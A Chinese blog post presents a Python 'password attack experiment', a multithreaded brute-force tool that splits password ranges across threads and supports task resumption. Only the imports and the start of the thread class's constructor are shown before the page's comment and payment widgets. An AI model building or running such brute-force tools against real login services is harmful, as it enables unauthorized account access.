[Python] 口令攻击实验

这是一段Python程序用于演示多线程口令攻击,可以自动把密码区间划分给不同的线程去攻击。并且在类定义中支持任务恢复功能。

它采用暴力方法,确实可以获得口令,但还是受到诸多限制:如计算机性能,网速,对方服务器性能,对方的入侵检测和负载平衡的制约。

其实在这些限制之下,能够攻下口令还是十分困难的事情,需要花费很长的时间。不过这个演示还是有许多启示性的价值。


# -*- coding: utf-8 -*-
import urllib,urllib2
import threading,time

class nPasswdTester(threading.Thread):
	"""口令测试线程"""
	def __init__(self,usr,pLen,pRange,pTest,callback):
		"""口令测试任务初始化 
		usr用户名 pLen口令长度 pRange测试区间 
		pTest(usr,pas)测试入口 callback(pas)结果反馈回调"""
		super(nPasswdTester, self).__init__()
		self.rest=0.002; self._i=0
		self.thread_stop=False
		self.progress=0
		self.usr=usr
		self.pRange=pRange
		self.pTe
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值